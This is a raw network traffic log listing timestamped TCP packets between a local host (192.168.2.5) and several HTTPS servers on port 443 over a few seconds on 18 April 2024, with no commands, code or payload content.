Apr 18, 2024 22:48:31.658108950 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.658116102 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.658154011 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.658159971 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.658267021 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.658437014 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.658444881 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.658900023 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.658953905 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.658960104 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659022093 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659061909 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.659074068 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659717083 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659763098 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.659769058 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659848928 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659898996 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.659899950 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659909010 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659941912 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.659949064 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.659974098 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660111904 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.660119057 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660569906 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660625935 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.660634041 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660687923 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660732985 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.660739899 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.660820007 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.661396980 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.662972927 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.662986994 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.663027048 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.663034916 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.663063049 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.663094044 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.664803982 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.664818048 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.664892912 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.664900064 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.664940119 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.667196989 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.667237043 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.667263031 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.667270899 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.667300940 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.667320013 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.669282913 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.669297934 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.669368982 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.669375896 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.669415951 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.670876980 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.670942068 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.670943975 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.670954943 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.670991898 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.671010017 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.671762943 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.671797991 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.671839952 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.671845913 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.671881914 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.671895981 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.673382998 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.673458099 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.673464060 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.673520088 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.673547029 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.673553944 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.673563004 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.674273968 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.674321890 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.674328089 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.674340010 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.674390078 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.674396992 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.674432993 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.675115108 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.675184965 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.676079988 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.676167011 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.676173925 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.725323915 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.757072926 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.757097960 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.757186890 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.757195950 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.757240057 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.758737087 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.758831024 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.758836985 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.758893013 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.761411905 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.761434078 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.761495113 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.761501074 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.761533022 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.762942076 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.762967110 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.763011932 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.763021946 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.763051033 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.763075113 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.765330076 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.765352964 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.765412092 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.765419006 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.765458107 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.766176939 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.766230106 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.767937899 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.767966032 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.768013000 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.768018961 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.768068075 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.768563986 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.768779993 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.768840075 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.768846035 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.769586086 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.769630909 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.769649029 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.769656897 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.769686937 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.769716024 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.769758940 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.770035028 CEST	49721	443	192.168.2.5	104.17.2.184
Apr 18, 2024 22:48:31.770045042 CEST	443	49721	104.17.2.184	192.168.2.5
Apr 18, 2024 22:48:31.859606981 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:31.877171993 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:31.877186060 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:31.878968000 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:31.879031897 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:31.884788990 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:31.884941101 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:31.885552883 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:31.885557890 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:31.928267002 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:32.127212048 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:32.127307892 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:32.127722025 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:32.355252028 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.355289936 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.355477095 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.355772972 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.355786085 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.359669924 CEST	49723	443	192.168.2.5	104.17.3.184
Apr 18, 2024 22:48:32.359694958 CEST	443	49723	104.17.3.184	192.168.2.5
Apr 18, 2024 22:48:32.572948933 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.608130932 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.608144045 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.608711004 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.609193087 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.609261036 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.609359980 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:32.652124882 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:32.653891087 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.018512964 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018552065 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018583059 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018603086 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.018611908 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018623114 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018656969 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.018668890 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018695116 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018702984 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.018707991 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018752098 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.018892050 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018959045 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.018985033 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019001007 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.019007921 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019043922 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.019049883 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019701004 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019728899 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019750118 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019777060 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.019783020 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.019798040 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.020221949 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.020256042 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.020271063 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.020282984 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.020291090 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.020317078 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:33.020376921 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:33.020416975 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:34.181673050 CEST	49724	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:34.181698084 CEST	443	49724	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:34.988172054 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:34.988260031 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:34.988334894 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:34.988827944 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:34.988850117 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.393846989 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.396214008 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.396231890 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.397674084 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.397742987 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.403260946 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.403412104 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.403418064 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.444149017 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.504030943 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.504045963 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.707180977 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.863739967 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.863840103 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.863977909 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.865350008 CEST	49725	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.865375996 CEST	443	49725	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.870177031 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.870224953 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.870388031 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.870547056 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:35.870557070 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:35.901038885 CEST	443	49710	64.233.185.147	192.168.2.5
Apr 18, 2024 22:48:35.901129007 CEST	443	49710	64.233.185.147	192.168.2.5
Apr 18, 2024 22:48:35.901242971 CEST	49710	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:48:36.029716015 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.029756069 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.029911041 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.030431986 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.030442953 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.229815960 CEST	49710	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:48:36.229845047 CEST	443	49710	64.233.185.147	192.168.2.5
Apr 18, 2024 22:48:36.269869089 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.270706892 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.270726919 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.272172928 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.272356033 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.273077965 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.273166895 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.273415089 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.273422003 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.277311087 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.277673006 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.278175116 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.278208017 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.278439999 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.279021025 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.279042006 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.413444996 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.428993940 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.429492950 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.429552078 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.430506945 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.430973053 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.431104898 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.431174994 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.431771994 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.431873083 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.432082891 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.432121038 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.600992918 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.602001905 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.602067947 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.625860929 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.625878096 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.627099037 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.627163887 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.628160954 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.628215075 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.628468037 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:36.628475904 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:36.667386055 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.667412996 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.667470932 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.667486906 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.667500973 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.667572975 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.668968916 CEST	49727	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.668987989 CEST	443	49727	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.798810005 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:36.798856974 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:36.798923969 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:36.799633026 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:36.799665928 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:36.799729109 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:36.800129890 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:36.800147057 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:36.800359011 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:36.800378084 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:36.842817068 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.842911005 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:36.842969894 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.844140053 CEST	49729	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:36.844176054 CEST	443	49729	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.017708063 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.020334959 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.020365000 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.020853996 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.021270990 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.021285057 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.021389008 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.021444082 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.022747993 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.022804022 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.022864103 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.022933006 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.025068998 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.025079012 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.025290966 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.025382042 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.025521040 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.025530100 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.098444939 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:37.098515987 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.098813057 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:37.098918915 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.098928928 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:37.098992109 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.188474894 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.188474894 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.188507080 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 18, 2024 22:48:37.188560963 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 18, 2024 22:48:37.209682941 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.209758997 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.219871044 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237128019 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237150908 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237169981 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237217903 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.237219095 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237238884 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237272024 CEST	443	49735	151.101.66.137	192.168.2.5
